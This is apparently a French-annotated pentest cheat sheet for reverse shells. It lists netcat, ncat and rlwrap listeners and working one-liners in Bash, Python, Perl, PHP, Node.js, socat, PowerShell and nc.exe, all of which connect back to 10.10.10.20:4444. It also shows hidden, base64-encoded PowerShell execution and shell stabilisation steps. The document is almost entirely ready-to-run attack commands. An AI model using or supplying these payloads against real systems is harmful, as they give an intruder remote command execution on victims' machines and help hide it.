Reverse shells

# Listener simple
nc -lvnp 4444

# Avec historique et édition de ligne
rlwrap -cAr nc -lvnp 4444

# TLS
ncat --ssl -lvnp 4444

# Bash
bash -i >& /dev/tcp/10.10.10.20/4444 0>&1

# Python
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.10.20",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'

# Perl
perl -e 'use Socket;$i="10.10.10.20";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'

# PHP
php -r '$s=fsockopen("10.10.10.20",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Node.js
node -e 'require("child_process").exec("bash -i >& /dev/tcp/10.10.10.20/4444 0>&1")'

# Socat
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.20:4444

# PowerShell TCP client
$c = New-Object Net.Sockets.TCPClient('10.10.10.20',4444)
$s = $c.GetStream()
[byte[]]$b = 0..65535 | % {0}
while (($i = $s.Read($b,0,$b.Length)) -ne 0) {
  $d = (New-Object Text.ASCIIEncoding).GetString($b,0,$i)
  $r = (iex $d 2>&1 | Out-String)
  $r2 = $r + 'PS ' + (pwd).Path + '> '
  $sb = ([Text.Encoding]::ASCII).GetBytes($r2)
  $s.Write($sb,0,$sb.Length); $s.Flush()
}
$c.Close()

:: Cmd (si nc est présent)
nc.exe -e cmd.exe 10.10.10.20 4444

# Base64 pour contourner les quotes
$cmd = '...payload...'
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -nop -w hidden -enc <BASE64>

# Dans le reverse shell Python
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Ctrl+Z côté attaquant, puis :
stty raw -echo; fg

# Export du terminal
export TERM=xterm-256color
stty rows 40 cols 120

# Si python absent : script ou socat
script -qc /bin/bash /dev/null

# Vérifier l'IP et le port
curl ifconfig.me
ss -tlnp